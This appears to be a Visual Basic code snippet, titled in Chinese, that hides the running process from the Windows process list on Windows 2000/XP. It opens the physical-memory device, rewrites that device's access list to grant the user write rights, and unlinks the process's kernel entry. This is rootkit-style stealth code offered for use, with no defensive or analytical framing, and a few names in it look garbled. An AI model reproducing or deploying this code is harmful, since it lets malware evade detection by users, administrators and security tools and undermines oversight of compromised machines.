在进程列表中隐藏当前应用程序进程

 
Public Sub HideCurrentProcess()
'在进程列表中隐藏当前应用程序进程
Dim thread As Long, process As Long, fw As Long, bw As Long
Dim lOffsetFlink As Long, lOffsetBlink As Long, lOffsetPID As Long

verinfo.dwOSVersionInfoSize = Len(verinfo)
If (GetVersionEx(verinfo)) <> 0 Then
If verinfo.dwPlatformId = 2 Then
If verinfo.dwMajorVersion = 5 Then
Select Case verinfo.dwMinorVersion
Case 0
lOffsetFlink = &HA0
lOffsetBlink = &HA4
lOffsetPID = &H9C
Case 1
lOffsetFlink = &H88
lOffsetBlink = &H8C
lOffsetPID = &H84
End Select
End If
End If
End If
If OpenPhysicalMemory <> 0 Then
thread = GetData(&HFFDFF124)
process = GetData(thread + &H44)
fw = GetData(process + lOffsetFlink)
bw = GetData(process + lOffsetBlink)
SetData fw + 4, bw
SetData bw, fw
CloseHandle g_hMPM
End If
End Sub
Private Sub SetPhyscialMemorySectionCanBeWrited(ByVal hSection As Long)
Dim pDacl As Long
Dim pNewDacl As Long
Dim pSD As Long
Dim dwRes As Long
Dim ea As EXPLICIT_ACCESS

GetSecurityInfo hSection, SE_KERNEL_OBJECT, DACL_SECURITY_INFORMATION, 0, 0, pDacl, 0, pSD

ea.grfAccessPermissions = SECTION_MAP_WRITE
ea.grfAccessMode = GRANT_ACCESS
ea.grfInheritance = NO_INHERITANCE
ea.TRUSTEE.TrusteeForm = TRUSTEE_IS_NAME
ea.TRUSTEE.TrusteeType = TRUSTEE_IS_USER
ea.TRUSTEE.ptstrName = "CURRENT_USER" & vbNullChar
SetEntriesInAcl 1, ea, pDacl, pNewDacl

SetSecurityInfo hSection, SE_KERNEL_OBJECT, DACL_SECURITY_INFORMATION, 0, 0, ByVal pNewDacl, 0

CleanUp:
LocalFree pSD
LocalFree pNewDacl
End Sub
Private Function OpenPhysicalMemory() As Long
Dim Status As Long
Dim PhysmemString As UNICODE_STRING
Dim Attributes As OBJECT_ATTRIBUTES

RtlInitUnicodeString PhysmemString, StrPtr("/Device/PhysicalMemory")
Attributes.Length = Len(Attributes)
Attributes.RootDirectory = 0
Attributes.ObjectName = VarPtr(PhysmemString)
Attributes.Attributes = 0
Attributes.SecurityDeor = 0
Attributes.SecurityQualityOfService = 0

Status = ZwOpenSection(g_hMPM, SECTION_MAP_READ Or SECTION_MAP_WRITE, Attributes)
If Status = STATUS_ACCESS_DENIED Then
Status = ZwOpenSection(g_hMPM, READ_CONTROL Or WRITE_DAC, Attributes)
SetPhyscialMemorySectionCanBeWrited g_hMPM
CloseHandle g_hMPM
Status = ZwOpenSection(g_hMPM, SECTION_MAP_READ Or SECTION_MAP_WRITE, Attributes)
End If

Dim lDirectoty As Long
verinfo.dwOSVersionInfoSize = Len(verinfo)
If (GetVersionEx(verinfo)) <> 0 Then
If verinfo.dwPlatformId = 2 Then
If verinfo.dwMajorVersion = 5 Then
Select Case verinfo.dwMinorVersion
Case 0
lDirectoty = &H30000
Case 1
lDirectoty = &H39000
End Select
End If
End If
End If

If Status = 0 Then
g_pMapPhysicalMemory = MapViewOfFile(g_hMPM, 4, 0, lDirectoty, &H1000)
If g_pMapPhysicalMemory <> 0 Then OpenPhysicalMemory = g_hMPM
End If
End Function
Private Function LinearToPhys(BaseAddress As Long, addr As Long) As Long
Dim VAddr As Long, PGDE As Long, PTE As Long, PAddr As Long
Dim lTemp As Long

VAddr = addr
CopyMemory aByte(0), VAddr, 4
lTemp = Fix(ByteArrToLong(aByte) / (2 ^ 22))

PGDE = BaseAddress + lTemp * 4
CopyMemory PGDE, ByVal PGDE, 4

If (PGDE And 1) <> 0 Then
lTemp = PGDE And &H80
If lTemp <> 0 Then
PAddr = (PGDE And &HFFC00000) + (VAddr And &H3FFFFF)
Else
PGDE = MapViewOfFile(g_hMPM, 4, 0, PGDE And &HFFFFF000, &H1000)
lTemp = (VAddr And &H3FF000) / (2 ^ 12)
PTE = PGDE + lTemp * 4
CopyMemory PTE, ByVal PTE, 4

If (PTE And 1) <> 0 Then
PAddr = (PTE And &HFFFFF000) + (VAddr And &HFFF)
UnmapViewOfFile PGDE
End If
End If
End If

LinearToPhys = PAddr
End Function
Private Function GetData(addr As Long) As Long
Dim phys As Long, tmp As Long, ret As Long

phys = LinearToPhys(g_pMapPhysicalMemory, addr)
tmp = MapViewOfFile(g_hMPM, 4, 0, phys And &HFFFFF000, &H1000)
If tmp <> 0 Then
ret = tmp + ((phys And &HFFF) / (2 ^ 2)) * 4
CopyMemory ret, ByVal ret, 4

UnmapViewOfFile tmp
GetData = ret
End If
End Function
Private Function SetData(ByVal addr As Long, ByVal data As Long) As Boolean
Dim phys As Long, tmp As Long, x As Long

phys = LinearToPhys(g_pMapPhysicalMemory, addr)
tmp = MapViewOfFile(g_hMPM, SECTION_MAP_WRITE, 0, phys And &HFFFFF000, &H1000)
If tmp <> 0 Then
x = tmp + ((phys And &HFFF) / (2 ^ 2)) * 4
CopyMemory ByVal x, data, 4

UnmapViewOfFile tmp
SetData = True
End If
End Function
Private Function ByteArrToLong(inByte() As Byte) As Double
Dim I As Integer
For I = 0 To 3
ByteArrToLong = ByteArrToLong + inByte(I) * (&H100 ^ I)
Next I
End Function